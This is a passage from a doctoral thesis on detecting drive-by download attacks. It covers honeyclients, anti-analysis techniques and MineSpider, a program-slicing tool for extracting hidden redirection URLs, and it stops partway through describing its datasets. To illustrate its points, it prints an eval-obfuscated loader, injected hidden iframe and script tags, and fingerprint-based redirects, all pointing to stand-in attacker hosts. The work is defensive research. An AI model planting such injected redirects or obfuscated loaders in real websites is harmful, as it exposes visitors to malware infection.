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Chapter 1

Introduction

1.1 Background

In a modern information society, the Internet has a key role as an infrastructure
that is essential for our lives. Many users access various services, such as e-mails,
weblogs, social networking services (SNSes), and e-commerces, through the In-
ternet. Companies and organizations utilize it for providing and improving their
services. The Internet-driven innovations impact on social systems, such as finan-
cial systems and transit systems, in addition to utilities including gas and water,
and dramatically improve the convenience of our daily lives. On the other hand,
cyber attacks are increasing with the developments in the information society. At-
tackers conduct data leakage, defacement, and destruction by illegally accessing
clients and servers owned by others through the Internet. For example, attackers
steal privacy information from an indefinite number of clients and force compa-
nies into bankruptcy by leaking sensitive information. Cyber attacks have serious
impacts not only on cyberspace but also on the real world. Although there are
several methods of illegally accessing clients and servers, attackers gain accesses
using malware in most of cases. Malware is a coined word of malicious and
software. The representative examples are computer viruses, worms, and trojan
horses. Attackers construct attack infrastructures for massive cyber attacks by in-
fecting many clients and servers with malware. Especially, the World Wide Web
has become the primary vector for malware infections since most internet services
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CHAPTER1 INTRODUCTION

are provided through the Web. A web browser is one of client software with users
all over the world. Attackers can increase the opportunities and scale of cyber
attacks by launching drive-by download attacks that infect clients with malware
through browsers.

Drive-by download attacks lure user’s accesses to malicious websites and
force the user’s clients to download and install malware by exploiting vulner-
abilities in browsers and its plugins [1, 2, 3]. Although uniform resource lo-
cators (URLs) in spam e-mails and SNSes mainly originate drive-by download
attacks, compromised websites that participate in the attacks are also increased
from around 2010 [4, 5, 6, 7]. Attackers abuse benign websites to redirect to their
own malicious websites to gain many accesses. In other words, the more popular
compromised websites, the greater its damage.

Countermeasures against drive-by download attacks are divided into two types:
host-based countermeasures and network-based countermeasures. Host-based coun-
termeasures include antivirus software that detects exploit code and malware based
on pre-defined signatures generated from known malicious files. Network-based
countermeasures include blacklists based on information regarding malicious do-
main names, URLs, and communication patterns. These countermeasures de-
tect attacks on the basis of pre-collected malicious information such as malicious
URLs, exploit code, and malware [8, 9, 10, 11, 12, 13, 14]. The information is
collected by passive monitoring of malicious network traffic or active monitoring
of malicious website accesses. Although both monitoring methods are effective,
the passive monitoring has problems regarding the limited observation range and
privacy concerns. Therefore, the active monitoring is pervasive. This active mon-
itoring is composed of three steps: 1. access to malicious websites, 2. execution
of exploit code and malware, and 3. analysis of collected data [15, 16, 17, 18, 19].
First, decoy client systems that are designed to be intentionally attacked, called
honeyclients, collect exploit code and malware through accessing malicious web-
sites. Second, malware analysis systems, such as a sandbox, run the malware
samples collected by the honeyclients and collect further data. Finally, the data
collected in the previous steps is analyzed to detect malicious URLs, exploit code,
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CHAPTER1 INTRODUCTION

and malware for the countermeasures. In this active monitoring, the access to
malicious websites using honeyclients is important since the subsequent analyses
are directly affected. However, attackers began to evade our analysis and de-
tection along with the development of these countermeasures [20, 21, 22]. To
hide information regarding malicious websites, malicious web content is obfus-
cated and malicious URLs are frequently changed. In addition, attackers target
only specific clients and integrated compromised websites into attacks in multiple
redirections, called a redirection chain. These sophisticated attacks are designed
so that conventional honeyclients cannot analyze malicious websites. Therefore,
we are faced with a problem in that honeyclients cannot collect information from
malicious websites and the subsequent analyses do not work.

1.2 Thesis Contributions

This thesis aims to collect more information from malicious websites by improv-
ing analysis capabilities of honeyclients against sophisticated drive-by download
attacks. More precisely, we propose methods of maximizing information obtained
from sophisticated attacks that evade our analysis and detection with the four tech-
niques: 1. content obfuscation, 2. redirection chains, 3. environment-dependent
attacks, and 4. website compromises. We design and implement new analysis
methods on the basis of real dataset and evaluate its effectiveness.

Exhaustive analysis of environment-dependent attacks.

To tackle environment-dependent attacks, we propose a new method of exhaus-
tively extracting URLs in JavaScript code. In drive-by download attacks, clients
are redirected to malicious URLs through redirection chains. Attackers identify
the client environments, i.e., OSes and browsers, by browser fingerprinting using
JavaScript in the redirection chains, and change the destination URL depending
on the fingerprint. In other words, conventional techniques using honeyclients are
not redirected to malicious URLs when the honeyclients do not match the specific
environments of the attack target. Our method identify redirection code snippets
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CHAPTER1 INTRODUCTION

by applying program slicing to JavaScript code and extract URLs from execution
results of these snippets. In other words, by improving the execution coverage of
JavaScript code, it can extract URLs from JavaScript code which is not originally
executed due to conditional branches. Against obfuscated redirection code, we
implement the analysis method in a browser emulator so that we can apply it to
dynamically generated code through obfuscation in addition to static code directly
obtained from URLs. In this thesis, the browser emulator corresponds to a hon-
eyclient, and we add analysis functions to solve other problems. We evaluate our
method using HTTP communication data of malicious websites and show that our
method can extract more URLs than general website access.

Fine-grained analysis of compromised websites.

Leveraging features of compromised websites, we propose a method identifying
malicious web content on compromised websites by tracing redirection chains and
JavaScript executions. The proposed method analyzes a website in a multi-client
environment to identify which client environment is exposed to threats. Attackers
gain accesses of unsuspecting users from compromised websites with redirection
code to malicious URLs. To expedite website clean-up, fine-grained information
regarding incidents, such as features of compromised web content and the target
range of client environments, is helpful for the incident response by the web-
master. Since compromised web content is content originally contained in benign
websites unlike exploit code and malware, it can be observed even by honeyclients
and expected as useful information for attack detection. Therefore, we propose a
new analysis method of identifying the precise position of compromised web con-
tent and client environments that are exposed threats by the content. More pre-
cisely, using a browser emulator, we design and implement a function of tracing
redirection chains and JavaScript executions and identifying which web content
redirects to which URL. In addition, the proposed method identify the target range
of client environments by emulating various client environments and analyzing the
same website. In evaluation of our method, we use HTTP communication data of
malicious websites, as described above. We show that our method can effectively
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identify compromised web content and the target range of client environments.

1.3 Thesis Outline

The rest of this thesis is organized as follows. Chapter 2 introduces a background
on web-based cyber attacks and countermeasure techniques. In Chapter 3, we pro-
pose a new analysis method of extracting hidden URLs behind evasive drive-by
download attacks. This method can exhaustively analyze JavaScript code relevant
to redirection and extracting the URLs in the code. In Chapter 4, we propose a
fine-grained analysis method of compromised websites using a multi-client envi-
ronment. Our system with the proposed method can reveal which web content
does a redirection originate, which URLs are associated with attacks, and which
client environment is exposed to threats. Finally, Chapter 5 concludes this thesis.

5



Chapter 2

Sophistication of Web-based Cyber
Attacks

2.1 Drive-by Download Attack

Within the last ten years, the World Wide Web has become the primary vector for
malware infections. A security vendor reports that over one million web-based
attacks were blocked per day in April 2017 [23], and the web-based cyber attacks
are continuously evolving. Figure 2.1 depicts a malware infection through the
Web. Attackers create a malicious website that exploit vulnerabilities of browsers
and/or browser plugins. When a user accesses the malicious website, the user’s
client, i.e., browsers and/or browser plugins, is forced to execute the exploit code
and to download and install malware without the user’s consent [1, 2, 3]. This
kind of attack is called a “drive-by download attack.” Attackers increase infected
clients by luring victims to entice them to click on malicious links through social
engineering, e.g., using spam emails, social networking services (SNSes), search
engine poisoning, and gaining the user’s attention [24, 25, 26, 27]. They also
abuse compromised benign websites to gain user’s accesses and redirect them to
malicious websites [4, 5, 6, 7].

6
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Malicious 
website!

Website access!

Attack!

Malware download and install!

Vulnerable 
client (browser)!

Attacker!
Malware!

Figure 2.1: Drive-by download attack

2.2 Countermeasure Techniques

Countermeasure techniques detect drive-by download attacks using pre-collected
information such as malicious URLs, exploit code, and malware [8, 9, 10, 11, 12,
13, 14]. The information is mainly collected through three steps: 1. access to
malicious websites, 2. execution of exploit code and malware, and 3. analysis of
collected data [15, 16, 17, 18, 19]. First, decoy client systems that are designed
to be intentionally attacked, called honeyclients, collect exploit code and malware
through accessing malicious websites. Second, malware analysis systems, such
as a sandbox, run the malware samples collected by the honeyclients and collect
further data. Finally, the data collected in the previous steps are analyzed to detect
malicious URLs, exploit code, and malware for the countermeasures. In this sec-
tion, we explain about honeyclient techniques and machine learning techniques
used for collecting and detecting malicious websites.

2.2.1 Honeyclient Analysis

A honeyclient is a decoy client system for crawling and collecting malicious infor-
mation such as attack methods, attack vectors, and attack behaviors. It is classified
as high-interaction or low-interaction on the basis of its implementation method.

High-interaction Honeyclient

A high-interaction honeyclient is a vulnerable real browser on a real operating
system inside a virtual machine. The real browser detects malicious websites by
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monitoring processes and the file system and by detecting unintended processes
(e.g., process and file generation) [28, 29, 30, 31, 32]. The use of a real client
environment for website analysis means that it is possible to accurately detect at-
tacks including zero-day attacks. However, it has a risk of malware infection since
the detection approach is to identify the side-effects of a successful exploitation
rather than the exploit code itself. Therefore, the virtual machine needs to revert
to the initial clean state after each successful exploit, which causes to degradation
of analysis performance. In addition, there are several techniques to evade the
detection of high-interaction honeyclients [33].

Low-interaction Honeyclient

A low-interaction honeyclient is a browser emulator that detects malicious web-
sites by signature matching, which involves detecting malicious behaviors ob-
served by monitoring the abuse of browser and plugin functions [34, 35, 36, 37,
38, 39]. This method is safer than high-interaction honeyclients because it does
not carry out an attack. In addition, it is more extensible and scalable since it
is easier to implement new functions in the browser and crawl websites in paral-
lel. However, low-interaction honeyclients cannot analyze websites outside their
analysis capabilities. It may fail to detect malicious websites because only lim-
ited information can be obtained due to the behavior emulation. Therefore, it is
important to improve the analysis capabilities so that low-interaction honeyclients
can collect enough information to detect malicious websites.

2.2.2 Machine Learning Detection

There is a common approach to detecting drive-by downloads using classifiers
based on the static and dynamic features of malicious websites. These features are
mainly extracted by honeyclients described above. Many researchers have pro-
posed machine-learning-based methods of detecting malicious websites. These
methods design features of malicious websites using HTML, JavaScript, URL,
and social-reputation [15, 37, 40]. A redirection structure on websites is also
leveraged for detecting malicious websites [41, 42, 43]. Others focus on HTTP
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1 eval(function(p,a,c,k,e,r){e=String;if(!’’.replace(/ˆ/,String)){
while(c--)r[c]=k[c]||c;k=[function(e){return r[e]}];e=
function(){return’\\w+’};c=1};while(c--)if(k[c])p=p.replace(
new RegExp(’\\b’+e(c)+’\\b’,’g’),k[c]);return p}(’2.3("<1 4=\
’5://6.7/\’ 8=0 9=0> </1>");’,10,10,’|iframe|document|write|
src|http|malicious|example|width|height’.split(’|’),0,{}))

Figure 2.2: Obfuscated code

redirections and executable file downloads on a network and apply a classifier to
detect malicious redirection paths [44, 45]. Therefore, in these machine-learning-
based methods, it is important to design efficient features and extract them from
malicious websites to improve their detection accuracies.

2.3 Anti-analysis Techniques

Along with the development of countermeasure techniques in the previous section,
attackers leverage various existing web techniques, such as code obfuscation, a
redirection chain, and browser fingerprinting, to protect their own malicious con-
tent.

2.3.1 Code Obfuscation

Attackers prevent signature-based detection by heavily obfuscating code used for
redirection and exploitation [46, 47, 48, 49]. Code obfuscation is generally used
for code protection and code minimization. The example code in Fig. 2.2 shows
the result of code obfuscation by a public JavaScript compressor [50]. JavaScript
function eval() executes an argument string as JavaScript. Therefore, this code
finally executes the original document object model (DOM) manipulation code1

by repeatedly splitting and joining the argument string. Figure 2.3 shows the
structure and components of a typical malicious obfuscated code. The deobfus-
cation triggers, such as eval(), setInterval(), and setTimeout(), unpack
the obfuscated code (malicious payloads) in the gray area using the deobfuscation

1The original code of the obfuscated code is document.write ("<iframe
src=’http://malicious.example/’ width=0 height=0></iframe>");.
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Redirection Code 
Exploit Code!

Browser Fingerprinting 
Code!

Deobfuscation 
Trigger Code!

Deobfuscation 
Code!

Figure 2.3: Structure and components of typical malicious obfuscated code

Redirection URL!

Malware 
distribution URL!

Landing URL!

Vulnerable Client 
(Web Browser)! Exploit URL!

Exploit URL!

Benign URL!

"Environment-dependent 
#Redirection 

$Malware Download 

%Access 

&Redirection Chain 

'Exploitation 

Figure 2.4: Redirection chain

code and executes it. In Fig. 2.2, deobfuscation code and trigger are the argument
string and eval() function, respectively.

2.3.2 Redirection Chain

Attackers generally launch drive-by downloads using multiple URLs, as shown
in Fig. 2.4. When the web user accesses the landing URL, which starts a drive-
by download attack, the user’s client is redirected to the exploit URL via multiple
redirection URLs, called a “redirection chain” [43, 45, 51, 52]. The client is forced
to execute exploit code that targets vulnerabilities in browsers at the exploit URL
and to download and install malware from the malware distribution URL [3].

There are various methods of redirecting users to different URLs in a redi-
rection chain, such as methods using an HTML tag, JavaScript code, or HTTP
3XX. The HTML tag, such as iframe, frame, script, embed, applet, object,

10
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Table 2.1: Redirection code
URL reference window.location = ‘URL’;

location.href = ‘URL’;
location.assign(‘URL’);
location.replace(‘URL’);
XMLHttpRequest.send(‘URL’);

DOM manipulation element.innerHTML = ‘HTML tag’;
element.setAttribute(‘src’, ‘URL’);
document.write(‘Html tag’);
document.writeln(‘Html tag’);

and meta, refers to a URL that is used as an attribute value. The redirection by
JavaScript code can be divided into two types: URL reference and DOM manip-
ulation. The former type uses code that refers to a URL, and the latter type uses
code containing HTML tags (DOM elements) that refer to a URL. These kinds
of redirection code use the JavaScript functions and properties listed in Table 2.1.
The URL reference code redirects a user to a URL that is used in an argument
of a function or an assignment value of a property. The DOM manipulation code
inserts a DOM element, i.e., an HTML tag described above, that refers to a URL.
The HTML tags that do not refer explicitly to a URL are also used in the DOM
manipulation code. Thus, the use of the DOM manipulation code cannot be de-
termined without executing the code. A drive-by download attack redirects users
to exploit URLs while evading detection by inserting hidden HTML tags or mod-
ifying the destination URL.

Attackers can abuse compromised websites and web search results as landing
URLs to lure unsuspecting users by constructing a redirection chain to malicious
URLs [25, 45]. Therefore, they only have to inject redirection code rather than
exploit code for website compromises and can prevent any disclosure of malicious
content [4, 5, 6, 7]. Multiple redirection stages also contribute to reducing the
operation cost of attacks because compromised websites can be integrated into a
different malware campaign by switching only the redirection URLs.

11
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1 var jre_version = plugin_detect.getVersion("Java");
2 if (jre[0] == "1") {
3 location.href = "http://A.example/malicious/";
4 }
5 else {
6 location.href="http://B.example/benign/";
7 }

Figure 2.5: Redirection code with browser fingerprinting

2.3.3 Browser Fingerprint

Browser fingerprinting, which is a method of profiling a client environment, e.g.,
a web browser and its plugin, is generally used for user tracking and distributing
web content according to the environment. Although general browser fingerprint-
ing uses string results of a navigator object in JavaScript, other methods have
also been proposed. For example, a method [53] of leveraging the differences
of graphical results by using a canvas tag and a method [54] using the com-
bination of a navigator object and a screen object are proposed. Attackers
leverage browser fingerprinting to redirect only vulnerable clients to subsequent
malicious URLs on the basis of the client’s fingerprint in the middle of the redirec-
tion chain [21]. This technique, called “cloaking,” is also abused for circumvent-
ing the detection of security vendors/researchers by redirecting them to a benign
URL rather than to an exploit URL [20]. This is shown in the gray area of Fig. 2.4
and the detail is described in the next section.

2.3.4 Environment-dependent Redirection

As mentioned above, attackers prevent any disclosure of malicious content, such
as exploit code and malware, by redirecting a specific user to a malicious URL
based on the user browser’s fingerprint. For example, the redirection to the be-
nign URL in the gray area of Fig. 2.4 represents a behavior that pretends to be a
benign website when a user with an environment of a non-attack target accesses
the website.

The redirection code in Fig. 2.5 changes the destination URL depending on the
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Table 2.2: Compromised web content
HTML <iframe src=“http://a.example/page/now counter.php?userCode=”

width=0 height=0></iframe>
<!–74be16–><script>document.write(‘<iframe src=“http://b.exa
mple/in.cgi?19” style=“top:-1000px; ... ></iframe>’);</script>

JavaScript document.writeln(“<script src=\“http://c.example/jj.js\” type=\“
text/javascript\”></script>”);
top.location.href = “http://d.example/”;

client environment (environment-dependent redirection code). This code identi-
fies the version of Java using PluginDetect [55], which is a framework for browser
fingerprinting. The user is redirected to a URL after the execution of the branch
statement based on the acquired environment information. In Fig. 2.5, the user is
redirected to the malicious URL if Java is installed in the environment, and the
user is redirected to the benign URL if Java is not installed in the environment.
This means that when we analyze websites with an environment not targeted by
the attack, it is impossible to detect any exploit code or malware since it cannot
be redirected to malicious URLs.

2.3.5 Website Compromise

To gain many accesses of unsuspecting users, attackers inject redirect code rather
than exploit code to compromise websites. HTML tags or JavaScript are used for
these code injections.

HTML-based Compromise.

HTML-based compromises inject the redirection code of the iframe and script
tags listed in Table 2.2. These HTML tags are mainly injected into unusual posi-
tions in the Document Object Model (DOM) tree such as outside an html tag or
body tag. In the case of an iframe tag, many redirections occur without a user
being aware by injecting the tag in an invisible state on the browser. A script

tag is also used in combination with the following JavaScript-based compromise.
However, it is easy to analyze them and find the redirection origin because these
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tags are directly written in an HTML file.

JavaScript-based Compromise

JavaScript-based compromises execute code that dynamically generates the above-
mentioned HTML tags using document.write, innerHTML, and appendChild,
shown in Table 2.2 (DOMAPI code). A location object that redirects to a differ-
ent URL is also injected, but the user is aware of the automatic redirection because
it explicitly switches the browser frame to a different URL. Therefore, it is rare
to use a location on compromised websites. JavaScript-based compromises can
target various web content, e.g., that enclosed by a script tag and that of a URL
that is loaded by a script tag. The DOM API code and code separation make
it difficult to analyze JavaScript. In addition, attackers utilize obfuscation tech-
niques, as described in the next section, on JavaScript to conceal the redirection
origin.

2.3.6 Exploit Kit

Most malicious websites are deployed using an attack automation tool known as
an “exploit kit” [56, 57, 58, 59, 60]. Exploit kits contain various exploit codes and
can automatically build malicious websites for a wide range of environments as
attack targets. They also show self-defense behaviors to complicate the analysis
task of detection systems [59]. The above anti-analysis techniques are known
to be distributed to malicious websites through these kits, and other exploit kit
families borrow evasive code from each other [60]. It is reported that half of all
malicious websites were deployed using exploit kits [57].

2.4 Summary

In summary, many security researchers proposed methods of detecting drive-by
downloads using a classifier based on the static and dynamic features of mali-
cious websites collected using a honeyclient. However, attackers detect and evade
the honeyclient analysis using anti-analysis techniques. Therefore, we are faced
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with a problem in that honeyclients cannot extract features from malicious web-
sites and the subsequent classifier does not work. In this thesis, to tackle this
problem, we design and implement new analysis methods of leveraging and ex-
panding malicious indicators that can be observed even by honeyclients, which
are environment-dependent redirections and compromised websites before the ex-
ploitation or infection phase, as a stepping stone. We choose a low-interaction
honeyclient, i.e., a browser emulator, with high extensibility that we can imple-
ment new analysis functions inside a browser. In the following chapters, we pro-
pose methods of extracting hidden features of web-based attacks by browser em-
ulators.
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Chapter 3

Extracting Hidden URLs Behind
Evasive Drive-by Download Attacks

3.1 Introduction

Attackers launch a drive-by download attack with several evasion techniques, such
as code obfuscation, a redirection chain, an environment-dependent redirection,
to prevent detection, as described in Section 2.3. A noticeable feature of the at-
tack is the abuse of browser fingerprinting code that is usually used by benign
websites to profile the client environment such as the browser and browser plug-
ins [21]. Attackers prevent any disclosure of malicious content, such as an exploit
code and malware, by changing the destination URL based on the browser finger-
print and by launching attacks only on certain targets. Furthermore, these attack
techniques are increasing in complexity and becoming increasingly automated by
exploit kits [46, 56, 57]. Infected clients are negatively affected by damage, such
as data leakage and financial loss, because the attacker can gain control of the
client system. In addition, attackers accelerate the malware infection cycle by
compromising websites managed by the infected client. These websites are then
integrated into a drive-by download attack scheme [2].

Many detection and prevention methods have been proposed to deal with these
increasingly sophisticated drive-by download attacks. For example, some meth-
ods detect downloads of executables by crawling websites using a honeyclient [28,
30, 31], whereas others use static analysis methods to detect the characteristics of
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exploit code such as strings and program structures [15, 22, 40]. Researchers have
also proposed dynamic analysis methods to detect malicious behavior observed
while monitoring abuses of browser and plugin functions [34, 35, 36]. These
conventional methods, however, detect drive-by downloads by crawling and ana-
lyzing websites with a specific environment. In other words, these methods cannot
follow redirections to malicious URLs if attackers do not carry out an attack be-
cause of the fingerprint of the environment. That is to say, these methods cannot
access malicious websites that contain exploit code and executable files. On the
other hand, many researchers have proposed code analysis methods to improve
URL coverage [21, 61]. Although these methods can extract more URLs, the
scalability of the implementation is limited because they are implemented in a
real browser [21] or in the original JavaScript interpreter that has no implemen-
tation for browser plugins [61]. If environment information, such as the browser
version number and plugin version number, is used in a URL, this method can
only extract a URL for that specific environment.

In this chapter, we propose a method for extracting code relevant to redirec-
tions independently of the analysis environment. This method analyzes JavaScript
that contains browser fingerprinting code and redirection code and extracts poten-
tial URLs by executing the extracted redirection code. More precisely, our method
extracts execution paths relevant to redirection code as code fragments by apply-
ing program slicing to JavaScript. Finally, it executes the extracted code fragments
with a JavaScript interpreter then extracts URLs used in the redirection code. Note
that our method also analyzes the deobfuscated code after unpacking the obfus-
cated code by dynamic execution since most redirection code is obfuscated and
the URL is embedded in the code. We implemented our method in a browser em-
ulator that can emulate an arbitrary browser and arbitrary browser plugins, which
we call MineSpider. MineSpider successfully extracted a large number of highly
malicious URLs from malicious websites that were previously detected as drive-
by downloads. The experimental results demonstrated that MineSpider extracted
30,000 new URLs in a few seconds that conventional methods did not discover.
We argue that a combination of our method and conventional detection/preven-
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Figure 3.1: JavaScript analysis process for extracting URLs

tion methods [15, 22, 28, 30, 31, 34, 35, 40] can improve the number of detected
malicious URLs hidden behind the redirection URLs.

3.2 Methodology

We propose a method for extracing redirection code independently of the analysis
environment. This method also extracts URLs contained in the code by executing
extracted redirection code. The analysis process of the proposed method is pro-
vided in Fig. 3.1. First, this method divides fetched web content into an HTML
document and JavaScript. Then, a DOM tree is built from the HTML document,
and an abstract syntax tree (AST) is constructed from the JavaScript. Next, redi-
rection code in Table 2.1 of Section 2.3 is identified from the extracted JavaScript
through syntax analysis using the AST. If the identified code used some variables,
this method extracts a code fragment (a slice) to resolve values of the variables by
program slicing using a program dependence graph (PDG). Moreover, this method
generates some slices that can cover all execution paths when an extracted slice
includes multiple execution paths. Finally, URLs are extracted by executing ex-
tracted slices with the DOM tree.
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1 var jre_version = pd.getVersion("Java");
2 var jre = jre_version.split(",");
3 var a_url = "A.example/malicious/";
4 var b_url = "B.example/benign/";
5 if (jre[0] == "1") {
6 arg = "h"+"t"+"t"+"p://"+a_url;
7 if (jre[1] == "6") {
8 arg += "one";
9 }

10 else if (jre[1] == "7") {
11 arg += "two";
12 }
13 location.replace(arg);
14 }
15 else {
16 location.replace("h"+"t"+"t"+"p://"+b_url);
17 }

Figure 3.2: Environment-dependent redirection code.

3.2.1 Build DOM Tree and Extract JavaScript

First, our method extracts an HTML document and JavaScript from web content
that is fetched by accessing a URL. A DOM tree is then constructed by parsing the
HTML document. JavaScript is categorized into two groups: statically included
JavaScript code and dynamically included JavaScript code. The former consists
of web content enclosed by the script tag, web content of a URL that is used
as the src attribute of the script tag, or web content embedded in the attribute
value “javascript:” of an HTML tag. In contrast, the latter refers to strings that are
used in an argument of JavaScript functions such as eval(), setInterval(),
and setTimeout(). This code also corresponds to the deobfuscated code after
unpacking the obfuscated code. Section 3.2.6 gives further information about the
handling of dynamically included JavaScript code. In this study, we analyzed both
statically and dynamically included JavaScript code in web content.

3.2.2 Convert to Abstract Syntax Tree

Next, our method identifies redirection code from extracted JavaScript code through
static syntax analysis using an AST. An AST represents an abstract tree model of
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an entire program. We can exhaustively analyze a certain program structure, such
as a function call statement in a branch statement, by using an AST traversal. For
example, this code in Fig. 3.2 first identifies the Java version of the user’s client
using PluginDetect [55] at line 1. Next, it redirects the user to different malicious
URLs, depending on the Java version, from lines 5 to 14. The user is also redi-
rected to the benign URL when the Java version does not correspond to the attack
target at line 16. In Fig. 3.2, we can determine that two location.replace()

in Table 2.1 are used as function call statements by traversing the AST of the
code. Therefore, we can identify redirection code independently of its control
flow, which is the order in which statements are executed, by converting extracted
JavaScript to AST and traversing it. However, accurate URLs cannot be extracted
from identified code because some variables are used in the code (e.g., the vari-
able b url is used in the argument of the function at line 16 in Fig. 3.2). The
details of extracting code fragments that affect the identified code are presented in
the following sections.

3.2.3 Construct ProgramDependence Graph and Extract Slices

In this section, we describe how to extract code fragments by using program slic-
ing to resolve variables used in redirection code. Program slicing [62] is a tech-
nique for extracting a set of statements affecting a variable v at the point of an
arbitrary statement s, which is called a slicing criterion of the form <s, v>. A
set of statements that is extracted according to a slicing criterion is called a slice.
To extract slices relevant to the redirection code identified in the previous section,
our method defines the functions and properties listed in Table 2.1 as slicing crite-
ria. General program slicing requires high accuracy in the slicing process so that
programmers can use it for software verification and debugging. The objective of
this study, however, was to extract concrete URLs by executing extracted slices
based on slicing criteria on websites. Therefore, it is necessary to extract slices
that are as small as possible and to execute them in a short time. In other words,
we must extract statements that are directly related to a slicing criterion as a slice
and exclude statements that are indirectly related to a slicing criterion. Therefore,
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Figure 3.3: Program dependence graph. The variable name and condition name
on the edge and the line number of Fig. 3.2 are given in the nodes.

we perform program slicing on a PDG, which represents dependencies between
statements.

A PDG is a directed graph using control dependencies and data dependencies
between statements in a program.

Control Dependence: Statement q is control dependent on statement p if p
is a branch statement, and the execution result of p determines whether q will be
executed.

Data Dependence: Statement q is data dependent on statement p if the defi-
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nition of variable v in p can affect any value in q and the affected value in q cannot
be modified by any statement between p and q in the execution path.

A PDG represents each statement in a program as a node and constructs con-
trol dependencies and data dependencies between nodes as edges. We show the
result of converting the code of Fig. 3.2 to a PDG in Fig. 3.3. Program slicing
can extract nodes as a slice by traversing edges of control dependencies and data
dependencies using a PDG. There are two types of traversal methods, which are
categorized according to the direction: a forward slice and a backward slice. The
forward slice can extract nodes affected by a slicing criterion by traversing for-
ward edges. The backward slice can extract nodes affecting a slicing criterion by
traversing backward edges. In this study, we use a backward slice to resolve a
variable value.

General program slicing extracts slices by recursively traversing all depen-
dencies. Our method, however, extracts slices by traversing control dependencies
only once, rather than traversing recursively to avoid extracting nodes indirectly
relevant to a slicing criterion (implicit nodes). The algorithm for backward slic-
ing is described in Algorithm 1. To start with, it recursively traverses only data
dependencies to extract only nodes directly relevant to a slicing criterion (explicit
nodes). Next, only nodes that are control dependent on explicit nodes are extracted
by traversing control dependencies only once. For example, when we define the
node of line 13 in the PDG of Fig. 3.3 as a slicing criterion, we can extract nodes
of lines 3, 5, 6, 7, 8, 10, and 11 using Algorithm 1. To reduce the time our method
takes to analyze slice computation and execution, we limited the size of extracted
slices.

The extracted slice may contain multiple execution paths because it contains
conditional branch nodes that are control dependent on explicit nodes. Simple
execution of the extracted slice means an extraction of only one URL. Therefore,
our method extracts multiple slices with each execution path by analyzing the
extracted slice to exhaustively extract URLs.
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Algorithm 1 Backward slicing
1: Input: URL Criterion (criterion)
2: Output: Sliced Node (S N)
3: DN = φ // Set of Sliced Data Dependent Nodes
4: S N = φ // Set of Sliced Nodes
5:
6: // Traverse backward dd-edges recursively
7: TracebackDataDependence(criterion)
8: if length(DN) > maxlength or count(DN) > maxnode then
9: S N ← φ, DN ← φ
10: end if
11:
12: // Traverse backward cd-edges once
13: for node in DN do
14: if node has Backward Control Dependence Edges then
15: nodes = Control Dependent Nodes of node
16: S N ← nodes
17: end if
18: end for
19: if length(S N) > maxlength or count(S N) > maxnode then
20: S N ← φ
21: end if
22:
23: function TracebackDataDependence(node)
24: S N ← node, DN ← node
25: if node has Backward Data Dependence Edges then
26: nodes = Data Dependent Nodes of node
27: for n in nodes do
28: TracebackDataDependence(n)
29: end for
30: end if
31: end function
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3.2.4 Explore Execution Paths

When an extracted slice contains some branch statements, our method parses the
extracted slice to extract more slices with each execution path. For example, three
slices are generated from the original slice, the slicing criterion of which is line
13 in Fig. 3.2 by execution path exploration, because the original slice contains
two if statement nodes of lines 7 and 10. After the execution path exploration,
these conditional branch nodes are eliminated to execute the slice. Although ex-
ecution path exploration can extract slices independently of branch statements,
the number of extracted slices increases exponentially with the addition of branch
statements contained in a slice. For example, when a slice contains if statements
written in series, not nested, 2Ni f slices are generated, with Ni f being the number
of if statements. This results in a trade-off between analysis time and analysis
coverage. In this study, we limited the number of branch statements for execu-
tion path exploration to avoid this exponential explosion. In addition, we cannot
identify whether the extracted slice contains a URL without executing it. For this
reason, we also limit the number of slicing criteria for analysis so that the analysis
process is not disturbed by websites containing many slicing criteria.

3.2.5 Execute Slices

Finally, when our method executes extracted slices, URLs are extracted by mon-
itoring arguments of the functions and assignment values of the properties in Ta-
ble 2.1. Then, our method clones the context information (e.g., variable definitions
and function definitions) of JavaScript necessary for executing a slice and deletes
it afterwards without any side effects on the original JavaScript executions.

In summary, the algorithm of the entire analysis process is indicated as Al-
gorithm 2. First, when traversing the extracted AST, a PDG is constructed and
an AST subtree is extracted and held as a slicing criterion if it corresponds to the
code in Table 2.1. Next, our method extracts slices using Algorithm 1 with slic-
ing criteria and the PDG after the AST traversal. When a slice contains branch
statements, some slices are generated with each execution path of the slice by ex-
ecution path exploration. Finally, our method executes extracted slices using a
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JavaScript interpreter with the DOM tree that was built after eliminating condi-
tional branch nodes. As a result, URLs are extracted by monitoring the functions
and properties in Table 2.1.

3.2.6 Implementation

We implemented the proposed method in an open source browser emulator, Htm-
lUnit [63], to create a system that automatically extracts potential URLs from
websites. We call this system MineSpider. The HtmlUnit, which was used in
a previous study [35], can parse an HTML document and statically included
JavaScript code from fetched web content. The extracted HTML document is
then automatically converted to a DOM tree. As mentioned earlier, dynamically
included JavaScript code is also extracted as JavaScript by hooking functions,
such as eval(), setInterval(), and setTimeout(), using HtmlUnit. In other
words, obfuscated JavaScript code is also included in an analysis through the
extraction of deobfuscated argument strings. MineSpider uses Rhino [64], the
JavaScript interpreter of HtmlUnit, to convert JavaScript to an AST and traverse
it. MineSpider identifies slicing criteria and constructs a PDG by traversing the
extracted AST and extracts redirection code as slices by program slicing using Al-
gorithm 1. When an extracted slice contains branch statements, such as if/else
or switch/case, slices are generated with each execution path by converting the
slice to an AST again and parsing it. MineSpider then executes the slices using
Rhino. Finally, MineSpider extracts URLs and sets controls preventing access to
these URLs by monitoring JavaScript function calls and the DOM tree changes in
extracted slice executions.

3.3 Experiment and Evaluation

Although the proposed method can extract URLs that cannot be extracted by con-
ventional methods, it introduces an overhead in JavaScript analysis. We therefore
discuss in this section our evaluation of the number of URLs extracted and ana-
lyzed using the proposed method.
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Algorithm 2 Dynamic slice execution
1: Input: the AST (ast)
2: Output: Execution Trace of Slice (none)
3: B = Conditional Branch Nodes ∈ {i f /else, switch/case}
4: URL = URL Slicing Target List of Table 2.1
5: C = φ // List of Slicing Criteria
6: S = φ // List of Slices
7: maxcriterion, count = 0
8:
9: for node in ast traversal do
10: update Program Dependence Graph
11: if node matches URL and count < maxcriterion then
12: C ← node
13: count = count + 1
14: end if
15: end for
16: for criterion in C do
17: ComputeSlice(criterion)
18: for slice in S do
19: Eliminate B in slice
20: Execute slice
21: end for
22: end for
23:
24: function ComputeSlice(criterion)
25: S ← φ
26: slice = Backward Slicing based on criterion
27: if slice has B then
28: slices = Path Exploration of slice
29: S ← slices
30: else
31: S ← slice
32: end if
33: end function
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3.3.1 Datasets

In this experiment, we used HTTP communication data obtained with a high-
interaction honeyclient Marionette [30] that crawled public URL blacklists [65,
66] and commercial URL blacklists. To preprocess this communication data, we
